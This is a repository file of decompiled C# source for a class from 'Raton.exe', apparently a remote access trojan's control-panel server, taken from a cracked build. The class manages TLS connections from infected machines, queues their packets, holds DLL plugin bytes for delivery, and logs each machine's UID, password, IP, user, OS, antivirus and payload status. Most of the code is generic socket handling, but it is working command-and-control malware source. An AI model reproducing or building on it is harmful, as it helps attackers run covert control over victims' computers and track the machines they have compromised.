Files
2026-08-27 11:23:13 -06:00

370 lines
12 KiB
C#

// Decompiled with JetBrains decompiler
// Type: Server.Connection.SillyClient
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using Stuff;
using System;
using System.Buffers;
using System.Collections.Concurrent;
using System.IO;
using System.Linq;
using System.Net.Security;
using System.Net.Sockets;
using System.Runtime.CompilerServices;
using System.Threading;
using System.Threading.Tasks;
using WpfApp1;
#nullable disable
namespace Server.Connection;
public sealed class SillyClient
{
public const int OneMb = 1048576 /*0x100000*/;
public const int MaxPacketSize = 5242880 /*0x500000*/;
private const int WorkerCount = 6;
private const int QueueCap = 5000;
private const int IdleMs = 120000;
private const int MaxPPS = 1000;
private int pingStarted;
private CancellationTokenSource pingCts;
private readonly TcpClient tcpClient;
private readonly SslStream sslStream;
private readonly CancellationTokenSource cts = new CancellationTokenSource();
private readonly SemaphoreSlim sendLock = new SemaphoreSlim(1, 1);
private readonly byte[] sizeBuf = new byte[4];
private readonly Timer idleTimer;
private readonly BlockingCollection<byte[]> queue = new BlockingCollection<byte[]>((IProducerConsumerCollection<byte[]>) new ConcurrentQueue<byte[]>(), 5000);
private int disconnectedFlag;
private int packetsThisSecond;
private int rateWindowStart;
public readonly ConcurrentDictionary<string, bool> EndSent = new ConcurrentDictionary<string, bool>();
public readonly ConcurrentDictionary<string, DateTime> LastChunkSent = new ConcurrentDictionary<string, DateTime>();
public readonly ConcurrentDictionary<string, int> RetryCount = new ConcurrentDictionary<string, int>();
public readonly ConcurrentDictionary<string, int> ChunksAcked = new ConcurrentDictionary<string, int>();
public readonly ConcurrentDictionary<string, int> TotalChunksById = new ConcurrentDictionary<string, int>();
public readonly ConcurrentDictionary<string, byte[]> DllBytesById = new ConcurrentDictionary<string, byte[]>();
public readonly ConcurrentDictionary<string, string> DllHashById = new ConcurrentDictionary<string, string>();
public string uid { get; set; }
public string password { get; set; }
public ClientRow ClientModel { get; set; }
public event Action<SillyClient> Disconnected;
public SillyClient(TcpClient tcp, SslStream ssl)
{
this.tcpClient = tcp;
this.sslStream = ssl;
this.tcpClient.NoDelay = true;
SillyClient.SetKeepAlive(this.tcpClient.Client, 25000U, 25000U);
this.rateWindowStart = Environment.TickCount;
this.idleTimer = new Timer((TimerCallback) (_ => this.Disconnect()), (object) null, 120000, -1);
Task.Run(new Func<Task>(this.ReceiveLoop));
for (int index = 0; index < 6; ++index)
Task.Run(new Func<Task>(this.WorkerLoop));
}
public void EnsurePingLoop()
{
if (Interlocked.Exchange(ref this.pingStarted, 1) != 0)
return;
this.pingCts = new CancellationTokenSource();
Task.Run((Func<Task>) (() => this.PingLoop(this.pingCts.Token)));
}
private async Task PingLoop(CancellationToken token)
{
try
{
while (!token.IsCancellationRequested)
{
ConfiguredTaskAwaitable configuredTaskAwaitable = Task.Delay(20000, token).ConfigureAwait(false);
await configuredTaskAwaitable;
if (!this.isConnected())
break;
Pack pack = new Pack();
pack.SetString("Packet", "Ping");
pack.SetString("Message", "From Server: Hello!");
configuredTaskAwaitable = this.Send(pack.Pacc()).ConfigureAwait(false);
await configuredTaskAwaitable;
}
}
catch
{
}
finally
{
Interlocked.Exchange(ref this.pingStarted, 0);
}
}
private static void SetKeepAlive(Socket socket, uint timeMs, uint intervalMs)
{
byte[] optionInValue = new byte[12];
BitConverter.GetBytes(1U).CopyTo((Array) optionInValue, 0);
BitConverter.GetBytes(timeMs).CopyTo((Array) optionInValue, 4);
BitConverter.GetBytes(intervalMs).CopyTo((Array) optionInValue, 8);
socket.IOControl(IOControlCode.KeepAliveValues, optionInValue, (byte[]) null);
}
private async Task ReceiveLoop()
{
SillyClient sillyClient1 = this;
try
{
while (!sillyClient1.cts.IsCancellationRequested)
{
await sillyClient1.ReadExact(sillyClient1.sizeBuf, 4).ConfigureAwait(false);
int len = BitConverter.ToInt32(sillyClient1.sizeBuf, 0);
if (len <= 0 || len > 5242880 /*0x500000*/)
throw new IOException($"Invalid packet size: {len}");
int tickCount = Environment.TickCount;
if (tickCount - sillyClient1.rateWindowStart >= 1000)
{
sillyClient1.rateWindowStart = tickCount;
sillyClient1.packetsThisSecond = 0;
}
SillyClient sillyClient2 = sillyClient1;
int num1 = sillyClient1.packetsThisSecond + 1;
int num2 = num1;
sillyClient2.packetsThisSecond = num2;
if (num1 > 1000)
throw new IOException("Rate limit exceeded");
MainWindow form2 = MainWindow.form2;
if (form2 != null)
Interlocked.Add(ref form2.received, (long) len);
byte[] rented = ArrayPool<byte>.Shared.Rent(len);
try
{
await sillyClient1.ReadExact(rented, len).ConfigureAwait(false);
byte[] dst = new byte[len];
Buffer.BlockCopy((Array) rented, 0, (Array) dst, 0, len);
sillyClient1.idleTimer.Change(120000, -1);
if (!sillyClient1.queue.IsAddingCompleted)
{
if (!sillyClient1.queue.TryAdd(dst, 2000))
throw new IOException("Packet queue saturated");
}
}
finally
{
ArrayPool<byte>.Shared.Return(rented);
}
rented = (byte[]) null;
}
}
catch (OperationCanceledException ex)
{
}
catch
{
await sillyClient1.Disconnect().ConfigureAwait(false);
}
finally
{
try
{
sillyClient1.queue.CompleteAdding();
}
catch
{
}
}
}
private Task WorkerLoop()
{
return Task.Run((Func<Task>) (async () =>
{
SillyClient sillyClient = this;
try
{
foreach (byte[] consuming in sillyClient.queue.GetConsumingEnumerable(sillyClient.cts.Token))
{
try
{
await new HandlePacket()
{
SillyClient = sillyClient,
packet = consuming
}.Run((object) null).ConfigureAwait(false);
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
}
}
}
catch (OperationCanceledException ex)
{
}
catch (Exception ex)
{
MainWindow.form2?.AddErrorLog((object) $"Worker fatal ({sillyClient.uid}): {ex.Message}");
}
}));
}
private async Task ReadExact(byte[] buffer, int length)
{
int num;
using (CancellationTokenSource timeoutCts = new CancellationTokenSource(30000))
{
using (CancellationTokenSource linked = CancellationTokenSource.CreateLinkedTokenSource(this.cts.Token, timeoutCts.Token))
{
for (int read = 0; read < length; read += num)
{
num = await this.sslStream.ReadAsync(buffer, read, length - read, linked.Token).ConfigureAwait(false);
if (num <= 0)
throw new IOException("Remote endpoint closed");
}
}
}
}
public async Task Send(byte[] data)
{
if (this.disconnectedFlag == 1 || data == null || data.Length == 0)
return;
await this.sendLock.WaitAsync().ConfigureAwait(false);
try
{
using (CancellationTokenSource timeoutCts = new CancellationTokenSource(30000))
{
using (CancellationTokenSource linked = CancellationTokenSource.CreateLinkedTokenSource(this.cts.Token, timeoutCts.Token))
{
MainWindow stats = MainWindow.form2;
byte[] size = BitConverter.GetBytes(data.Length);
await this.sslStream.WriteAsync(size, 0, size.Length, linked.Token).ConfigureAwait(false);
if (stats != null)
Interlocked.Add(ref stats.sent, (long) size.Length);
int chunk;
for (int offset = 0; offset < data.Length; offset += chunk)
{
chunk = Math.Min(65536 /*0x010000*/, data.Length - offset);
await this.sslStream.WriteAsync(data, offset, chunk, linked.Token).ConfigureAwait(false);
if (stats != null)
Interlocked.Add(ref stats.sent, (long) chunk);
}
stats = (MainWindow) null;
size = (byte[]) null;
}
}
}
catch
{
await this.Disconnect().ConfigureAwait(false);
}
finally
{
this.sendLock.Release();
}
}
public Task Disconnect() => this.DisconnectInternal();
private async Task DisconnectInternal()
{
SillyClient sillyClient = this;
if (Interlocked.Exchange(ref sillyClient.disconnectedFlag, 1) != 0)
return;
try
{
sillyClient.pingCts?.Cancel();
}
catch
{
}
try
{
sillyClient.idleTimer?.Dispose();
}
catch
{
}
try
{
sillyClient.queue.CompleteAdding();
}
catch
{
}
try
{
sillyClient.cts.Cancel();
}
catch
{
}
try
{
sillyClient.sslStream?.Dispose();
}
catch
{
}
try
{
sillyClient.tcpClient?.Dispose();
}
catch
{
}
await sillyClient.UpdateUI().ConfigureAwait(false);
Action<SillyClient> disconnected = sillyClient.Disconnected;
if (disconnected == null)
return;
disconnected(sillyClient);
}
private Task UpdateUI()
{
MainWindow panel = MainWindow.form2;
return panel == null || this.ClientModel == null ? Task.CompletedTask : panel.Dispatcher.InvokeAsync((Action) (() =>
{
try
{
ClientStorage.Add(new StoredClient()
{
UID = this.uid,
Password = this.password,
IP = this.ClientModel.Client,
Group = this.ClientModel.Tag,
UserMachine = this.ClientModel.User,
OS = this.ClientModel.OS,
Version = this.ClientModel.Version,
Executing = this.ClientModel.Running,
AV = this.ClientModel.AV,
Status = this.ClientModel.Status,
Clock = this.ClientModel.Date,
Payload = this.ClientModel.Payload,
Country = (string) null
});
this.ClientModel.Status = "Disconnected";
panel.ClientsGrid.Items.Refresh();
panel.AddErrorLog((object) $"Client {this.ClientModel.Client} disconnected");
int num1 = panel.Clients.Count<ClientRow>((Func<ClientRow, bool>) (c => c.Status == "Connected"));
int num2 = panel.Clients.Count<ClientRow>((Func<ClientRow, bool>) (c => c.Status == "Disconnected"));
panel.StatOnline.Text = num1.ToString();
panel.StatOffline.Text = num2.ToString();
}
catch
{
}
})).Task;
}
public bool isConnected()
{
if (this.disconnectedFlag != 0)
return false;
TcpClient tcpClient = this.tcpClient;
return tcpClient != null && tcpClient.Connected;
}
}